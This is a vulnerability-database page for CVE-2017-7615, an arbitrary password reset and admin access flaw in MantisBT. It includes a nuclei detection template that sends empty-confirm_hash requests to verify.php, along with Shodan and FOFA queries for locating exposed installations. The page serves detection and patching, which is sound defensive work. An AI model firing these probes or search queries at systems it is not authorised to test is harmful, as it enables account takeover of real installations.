HexBrain

Browse / CVEs / CVE-2017-7615

CVE-2017-7615· mantisbt / mantisbt· CWE-640

MantisBT <=2.30 - Arbitrary Password Reset/Admin Access

highseverity
8.8CVSS score
91.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized password resets and unauthorized administrative access.

Fix

Upgrade MantisBT to a version higher than 2.30 to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/verify.php?id=1&confirm_hash= ; GET {{BaseURL}}/mantis/verify.php?id=1&confirm_hash= ; GET {{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash= ; GET {{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash= ; GET {{BaseURL}}/bugs/verify.php?confirm_hash=&id=1
Positive when: matches /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-7615 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-7615

# THIS TEMPLATE IS ONLY FOR DETECTING
# To carry out further attacks, please see reference[2] below.
# This template works by guessing user ID.
# MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
info:
  name: MantisBT <=2.30 - Arbitrary Password Reset/Admin Access
  author: bp0lr,dwisiswant0
  severity: high
  description: |
    MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized password resets and unauthorized administrative access.
  remediation: |
    Upgrade MantisBT to a version higher than 2.30 to mitigate this vulnerability.
  reference:
    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/
    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
    - https://www.exploit-db.com/exploits/41890
    - http://www.openwall.com/lists/oss-security/2017/04/16/2
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-7615
    cwe-id: CWE-640
    epss-score: 0.91196
    epss-percentile: 0.99811
    cpe: cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: mantisbt
    product: mantisbt
    shodan-query:
      - http.favicon.hash:662709064
      - cpe:"cpe:2.3:a:mantisbt:mantisbt"
    fofa-query: icon_hash=662709064
  tags: cve,cve2017,mantisbt,unauth,edb,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from